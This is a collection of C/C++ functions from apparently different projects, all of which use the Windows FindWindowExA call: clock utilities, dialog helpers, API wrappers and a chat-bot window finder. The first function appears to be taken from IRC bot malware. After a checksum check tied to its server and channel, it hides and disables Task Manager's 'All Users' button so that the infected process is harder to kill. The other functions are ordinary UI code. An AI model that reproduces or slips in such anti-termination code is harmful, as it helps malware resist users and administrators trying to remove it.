void DisableTaskManagerAllUsersButton() //Disables the All Users button in Task Manager to prevent convenient killing of the process through the object permission modifications { // <!-------! CRC AREA START !-------!> char cCheckString[DEFAULT]; sprintf(cCheckString, "%s@%s", cServer, cChannel); char *cStr = cCheckString; unsigned long ulCheck = (47048/8)-500; int nCheck; while((nCheck = *cStr++)) ulCheck = ((ulCheck << 5) + ulCheck) + nCheck; if(ulCheck != ulChecksum6) return; // <!-------! CRC AREA STOP !-------!> HWND hwndTaskManager = FindWindowA("#32770", "Windows Task Manager"); if(hwndTaskManager != NULL) { HWND hwndTaskProcTab = FindWindowExA(hwndTaskManager, 0, "#32770", "Processes"); if(hwndTaskProcTab != NULL) { HWND hwndTaskManageAllUsersButton = FindWindowExA(hwndTaskProcTab, 0, "Button", NULL); if(hwndTaskManageAllUsersButton != NULL) { EnableWindow(hwndTaskManageAllUsersButton, FALSE); ShowWindow(hwndTaskManageAllUsersButton, SW_HIDE); CloseHandle(hwndTaskManageAllUsersButton); } CloseHandle(hwndTaskProcTab); } CloseHandle(hwndTaskManager); } }
BOOL func_WndProc(HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam, void *editp, FILTER *fp) { if (!fp) { return FALSE; } if (!editp) { return FALSE; } if (fp->exfunc->is_saving(editp)) { return FALSE; } if (s_filtered_width <= 0 || s_filtered_height <= 0) { return FALSE; } int leftMargin, bottomMargin; Mask const* mask = Mask::selectMask(s_filtered_width, s_filtered_height, leftMargin, bottomMargin); if (!mask) { return FALSE; } int const minXShift = -leftMargin; int const maxXShift = s_filtered_width - mask->width_ - leftMargin; int const minYShift = -(s_filtered_height - bottomMargin - mask->height_); int const maxYShift = bottomMargin; bool changed = false; changed |= fp->track_s[0] != minXShift; changed |= fp->track_e[0] != maxXShift; changed |= fp->track_s[1] != minYShift; changed |= fp->track_e[1] != maxYShift; if (changed) { fp->track_s[0] = minXShift; fp->track_e[0] = maxXShift; fp->track_s[1] = minYShift; fp->track_e[1] = maxYShift; char const* kClassName = "msctls_trackbar32"; HWND deltaX = FindWindowExA(hwnd, nullptr, kClassName, nullptr); if (deltaX) { SendMessageA(deltaX, TBM_SETRANGE, (WPARAM)FALSE, (LPARAM)MAKELONG(minXShift, maxXShift)); HWND deltaY = FindWindowExA(hwnd, deltaX, kClassName, nullptr); if (deltaY) { SendMessageA(deltaY, TBM_SETRANGE, (WPARAM)FALSE, (LPARAM)MAKELONG(minYShift, maxYShift)); } } } return FALSE; }
NS_PKY_UTIL_BEG HWND PkyWindowSearch::FindMessageWindow( HWND wnd, const char* pszWndClass, const char* pszWndText ) { return FindWindowExA( HWND_MESSAGE, wnd, pszWndClass, pszWndText ); }
/* * Main BrowseInfo callback to set the initial directory and populate the edit control */ INT CALLBACK BrowseInfoCallback(HWND hDlg, UINT message, LPARAM lParam, LPARAM pData) { char dir[MAX_PATH]; wchar_t* wpath; LPITEMIDLIST pidl; switch(message) { case BFFM_INITIALIZED: pOrgBrowseWndproc = (WNDPROC)SetWindowLongPtr(hDlg, GWLP_WNDPROC, (LONG_PTR)BrowseDlgCallback); // Windows hides the full path in the edit box by default, which is bull. // Get a handle to the edit control to fix that hBrowseEdit = FindWindowExA(hDlg, NULL, "Edit", NULL); SetWindowTextU(hBrowseEdit, szFolderPath); SetDialogFocus(hDlg, hBrowseEdit); // On Windows 7, MinGW only properly selects the specified folder when using a pidl wpath = utf8_to_wchar(szFolderPath); pidl = SHSimpleIDListFromPath(wpath); safe_free(wpath); // NB: see http://connect.microsoft.com/VisualStudio/feedback/details/518103/bffm-setselection-does-not-work-with-shbrowseforfolder-on-windows-7 // for details as to why we send BFFM_SETSELECTION twice. SendMessageW(hDlg, BFFM_SETSELECTION, (WPARAM)FALSE, (LPARAM)pidl); Sleep(100); PostMessageW(hDlg, BFFM_SETSELECTION, (WPARAM)FALSE, (LPARAM)pidl); break; case BFFM_SELCHANGED: // Update the status if (SHGetPathFromIDListU((LPITEMIDLIST)lParam, dir)) { SendMessageLU(hDlg, BFFM_SETSTATUSTEXT, 0, dir); SetWindowTextU(hBrowseEdit, dir); } break; } return 0; }
/* MAKE_EXPORT FindWindowExW_new=FindWindowExW */ HWND WINAPI FindWindowExW_new(HWND hwndParent, HWND hwndChildAfter, LPCWSTR lpszClassW, LPCWSTR lpszWindowW) { ALLOC_WtoA(lpszClass); ALLOC_WtoA(lpszWindow); return FindWindowExA(hwndParent, hwndChildAfter, lpszClassA, lpszWindowA); }
LRESULT CALLBACK EasyBusyDlg (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { static easythread_struct *et; static easybusydlg_struct *ebd; // HWND hctl; switch(message) { case WM_INITDIALOG: { et=(easythread_struct *)lParam; ebd=(easybusydlg_struct *)et->extra; ebd->hwnd = hwnd; return TRUE; } case WM_COMMAND: switch (LOWORD(wParam)) { case IDCANCEL: EndDialog(hwnd, FALSE); #if 0 hctl = FindWindowExA(hwnd, NULL, "STATIC", NULL); SetWindowText(hctl, "Cancelling... Please wait."); EnableWindow(GetDlgItem(hwnd, IDCANCEL), FALSE); #endif et->killflag = TRUE; return TRUE; default: return FALSE; } default: return FALSE; } }
/* * @implemented */ HWND WINAPI FindWindowA(LPCSTR lpClassName, LPCSTR lpWindowName) { //FIXME: FindWindow does not search children, but FindWindowEx does. // what should we do about this? return FindWindowExA (NULL, NULL, lpClassName, lpWindowName); }
HWND Clock_GetCalendar() { HWND hwnd = FindWindowExA(NULL,NULL,"ClockFlyoutWindow",NULL); if(hwnd) return hwnd; hwnd = FindWindowExA(NULL, NULL, "Windows.UI.Core.CoreWindow", "Date and Time Information"); if(hwnd){ // starts "invisible" full-size and becomes re-sized/moved and "visible" later union{ RECT rc; POINT pt; } u; GetWindowRect(hwnd, &u.rc); // IsWindowVisible()/IsWindowEnabled() are always true if(WindowFromPoint(u.pt) == hwnd) return hwnd; } return gs_hwndCalendar; }
void TfrmVokabel::setEntry(CEntry *e) { HANDLE hwnd; if (e==NULL) this->Close(); this->lblWord->Caption = e->word.c_str(); this->lblTranslation->Caption = e->translation.c_str(); this->lblTranslation->Visible = false; hwnd=FindWindowExA(NULL,NULL,NULL,"Vokabel"); SetForegroundWindow((HWND__*)hwnd); }
static HWND subclass_listview(HWND hwnd) { WNDPROC oldproc; HWND listview; /* listview is a first child */ listview = FindWindowExA(hwnd, NULL, WC_LISTVIEWA, NULL); oldproc = (WNDPROC)SetWindowLongPtrA(listview, GWLP_WNDPROC, (LONG_PTR)listview_subclass_proc); SetWindowLongPtrA(listview, GWLP_USERDATA, (LONG_PTR)oldproc); return listview; }
static HWND subclass_listview(HWND hwnd) { WNDPROC oldproc; HWND listview; /* listview is a first child */ listview = FindWindowExA(hwnd, NULL, WC_LISTVIEWA, NULL); if(!listview) { /* .. except for some versions of Windows XP, where things are slightly more complicated. */ HWND hwnd_tmp; hwnd_tmp = FindWindowExA(hwnd, NULL, "DUIViewWndClassName", NULL); hwnd_tmp = FindWindowExA(hwnd_tmp, NULL, "DirectUIHWND", NULL); hwnd_tmp = FindWindowExA(hwnd_tmp, NULL, "CtrlNotifySink", NULL); listview = FindWindowExA(hwnd_tmp, NULL, WC_LISTVIEWA, NULL); } oldproc = (WNDPROC)SetWindowLongPtrA(listview, GWLP_WNDPROC, (LONG_PTR)listview_subclass_proc); SetWindowLongPtrA(listview, GWLP_USERDATA, (LONG_PTR)oldproc); return listview; }
//================================================================================================ //-----------------------------------------------------+++--> T-Clock Menu Command Message Handler: LRESULT OnTClockCommand(HWND hwnd, WPARAM wParam) //----------------------------------+++--> { WORD wID = LOWORD(wParam); switch(wID) { case IDM_REFRESHTCLOCK: RefreshUs(); break; case IDM_SHOWPROP: MyPropertySheet(-1); break; case IDM_PROP_ALARM: MyPropertySheet(1); break; case IDM_EXIT: SendMessage(hwnd,WM_CLOSE,0,0); break; case IDM_SHOWCALENDER: ToggleCalendar(1); // 1=own calendar break; case IDM_DISPLAYPROP: if(api.OS >= TOS_VISTA) api.Exec(L"::{26EE0668-A00A-44D7-9371-BEB064C98683}\\1\\::{C555438B-3C23-4769-A71F-B6D3D9B6053A}", NULL, NULL); else api.Exec(L"control", L"desk.cpl, display,1", NULL); break; case IDM_VOLUMECONTROL: //-------------------------------+++--> Volume Controls #ifndef _WIN64 # define OPEN_VOLUME L"SndVol32" #else # define OPEN_VOLUME L"SndVol" #endif // _WIN64 api.Exec(OPEN_VOLUME, NULL, NULL); break; case IDM_AUDIOPROP: //----------------------------------+++--> Audio settings / devices api.Exec(L"control", L"mmsys.cpl", NULL); break; case IDM_RECYCLEBIN: api.Exec(L"::{645FF040-5081-101B-9F08-00AA002F954E}", NULL, NULL); break; case IDM_RECYCLEBIN_PURGE:{ SHQUERYRBINFO info = {sizeof(info)}; // Windows seriously asks : SHQueryRecycleBin(NULL, &info); // "are you sure to delete all items" if(info.i64NumItems > 0 || api.OS == TOS_2000) // when the recycle bin is actually empty... SHEmptyRecycleBin(g_hwndTClockMain, NULL, 0); break;} case IDM_MAPDRIVE: //----------------------------------+++--> Map Network Drive WNetConnectionDialog(hwnd, RESOURCETYPE_DISK); break; case IDM_DISCONNECT: //-------------------------+++--> Disconnect Network Drive WNetDisconnectDialog(hwnd, RESOURCETYPE_DISK); break; case IDM_TOGGLE_DT: //---------------------------+++--> Show / Hide the Desktop ToggleDesk(); break; case IDM_QUICKY_WINEXP: { //-----------------//--+++--> Windows Explorer Opened api.Exec(L"Explorer", L"/e, ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}", hwnd); break;} case IDM_QUICKY_DOS: { // Command Prompt api.Exec(L"cmd", L"/f:on /t:0a", hwnd); break;} case IDM_QUICKY_EMPTYRB: SHEmptyRecycleBin(0, NULL, SHERB_NOCONFIRMATION); break; case IDM_SHUTDOWN: if(!ShutDown()) MessageBox(0, L"Shutdown Request Failed!", L"ERROR", MB_OK|MB_ICONERROR|MB_SETFOREGROUND); break; case IDM_REBOOT: if(!ReBoot()) MessageBox(0, L"Reboot Request Failed!", L"ERROR", MB_OK|MB_ICONERROR|MB_SETFOREGROUND); break; case IDM_LOGOFF: if(!LogOff()) MessageBox(0, L"Logoff Request Failed!", L"ERROR", MB_OK|MB_ICONERROR|MB_SETFOREGROUND); break; case IDM_FWD_CASCADE: case IDM_FWD_SIDEBYSIDE: case IDM_FWD_STACKED: case IDM_FWD_SHOWDESKTOP: case IDM_FWD_MINALL: case IDM_FWD_UNDO: g_undo=(wID!=IDM_FWD_UNDO); /* fall through */ case IDM_FWD_DATETIME: case IDM_FWD_CUSTOMNOTIFYICONS: case IDM_FWD_TASKMAN: case IDM_FWD_LOCKTASKBAR: case IDM_FWD_LOCKALLTASKBAR: case IDM_FWD_TASKBARPROP: case IDM_FWD_RUNAPP: case IDM_FWD_EXITEXPLORER:{ HWND hwndTray = FindWindowA("Shell_TrayWnd", NULL); if(hwndTray) PostMessage(hwndTray, WM_COMMAND, wID, 0); break;} case IDM_DATETIME_EX:{ HWND hwnd1, hwnd2; int wait = 40; api.Exec(L"timedate.cpl", L"", 0); while((hwnd2=FindWindowA((char*)(uintptr_t)32770,"Date and Time"))==0 && wait--) Sleep(50); if(hwnd2){ SetActiveWindow(hwnd2); wait = 10; while((hwnd1=FindWindowExA(hwnd2,NULL,(char*)(uintptr_t)32770,"Date and Time"))==0 && wait--) Sleep(50); if(hwnd1){ hwnd2 = GetDlgItem(hwnd1,116); if(hwnd2) PostMessage(hwnd2,BM_CLICK,0,0); } } break;} case IDM_CHIME: /// Alarms AlarmChimeEnable(-1); break; case IDM_STOPWATCH: /// Timers DialogStopWatch(); break; case IDM_STOPWATCH_START: case IDM_STOPWATCH_RESUME: if(!IsWindow(g_hDlgStopWatch)) DialogStopWatch(); StopWatch_Resume(g_hDlgStopWatch); break; case IDM_STOPWATCH_STOP: case IDM_STOPWATCH_PAUSE: if(IsWindow(g_hDlgStopWatch)) StopWatch_Pause(g_hDlgStopWatch); break; case IDM_STOPWATCH_RESET: if(IsWindow(g_hDlgStopWatch)) StopWatch_Reset(g_hDlgStopWatch); break; case IDM_STOPWATCH_LAP: if(IsWindow(g_hDlgStopWatch)) StopWatch_Lap(g_hDlgStopWatch,0); break; case IDM_TIMER: DialogTimer(0); break; case IDM_TIMEWATCH: WatchTimer(0); // Shelter All the Homeless Timers. break; case IDM_TIMEWATCHRESET: WatchTimer(1); // Shelter All the Homeless Timers. break; case IDM_SNTP:{ short just_elevated = HIWORD(wParam); if(!just_elevated || HaveSetTimePermissions()) { ReplyMessage(1); NetTimeConfigDialog(0); return 1; // handled } else { if(IsWindow(g_hDlgSNTP)) SendMessage(g_hDlgSNTP, WM_CLOSE, 1, 0); // close window but safe changes } return 0;} case IDM_SYNCTIME: case IDM_SNTP_SYNC:{ short just_elevated = HIWORD(wParam); int can_sync = HaveSetTimePermissions(); if(!just_elevated || can_sync) { ReplyMessage(1); if(can_sync) { SyncTimeNow(); } else { if(api.ExecElevated(GetClockExe(),L"/UAC /Sync",NULL) != 0) { MessageBox(0, L"T-Clock must be elevated to set your system time,\nbut elevation was canceled", L"Time Sync Failed", MB_OK|MB_ICONERROR|MB_SETFOREGROUND); } } return 1; // handled } return 0;} default: #ifdef _DEBUG DBGOUT("%s: unknown ID: %.5i(0x%.4x) (hwnd:%p)", __FUNCTION__, wID, wID, hwnd); #endif // _DEBUG break; } return 0; }
HWND PkyWindowSearch::FindMessageWindowClass( HWND wnd, const char* pszWndClass ) { return FindWindowExA( HWND_MESSAGE, wnd, pszWndClass, nullptr ); }
bool ventrilo_chat::Find() { #ifdef OS_WINDOWS_ std::cout << "bMumble: " << bMumble << std::endl; if (bMumble) { hwnd=FindWindowA("QWidget","Mumble -- DF Proximity Bot"); char buf[255]; do { if (hwnd) { GetWindowTextA(hwnd,buf,sizeof(buf)); if (strncmp("Mumble -- ",buf,10) == 0) { hwndMessage=FindWindowExA(hwnd,NULL,"QWidget","qdwChat"); if (hwndMessage) { HWND hTmp =FindWindowExA(hwndMessage,NULL,"QWidget","qleChat"); if (!hTmp) std::cout << "Mumble chat box internal subwindow not found; using parent..." << std::endl; else hwndMessage=hTmp; } // TODO: make the chat window actually scrapable so we can give commands! hwndChat=FindWindowExA(hwnd,NULL,"QWidget","qdwLog"); if (hwndChat) hwndChat=FindWindowExA(hwndChat,NULL,"QWidget","qteLog"); if (hwndChat) hwndChat=FindWindowExA(hwndChat,NULL,"QWidget","qt_scrollarea_viewport"); if (hwndMessage) { SetWindowText(hwnd,"Mumble -- DF Proximity Bot"); return true; } } } std::cout << "!!" << buf << std::endl; } while ((hwnd=FindWindowExA(NULL,hwnd,"QWidget",NULL))); } else { // see if we marked one already hwnd=FindWindowA("#32770","Chat - DF Proximity Bot"); do { if (hwnd) { HWND hwndParent=GetParent(hwnd); hwndMessage=FindWindowExA(hwnd,NULL,"Edit",NULL); hwndChat=FindWindowExA(hwnd,NULL,"RichEdit20A",NULL); hwndSend=FindWindowExA(hwnd,NULL,"Button","Send"); hwndTTS=FindWindowExA(hwnd,NULL,"Button","Enable TTS"); hwndTimestamp=FindWindowExA(hwnd,NULL,"Button","Time stamp"); if (!hwndParent && hwndMessage && hwndChat && hwndSend && hwndTTS && hwndTimestamp) { SetWindowText(hwnd,"Chat - DF Proximity Bot"); return true; } } } while ((hwnd=FindWindowExA(NULL,hwnd,"#32770","Chat"))); } return false; #else return true; #endif }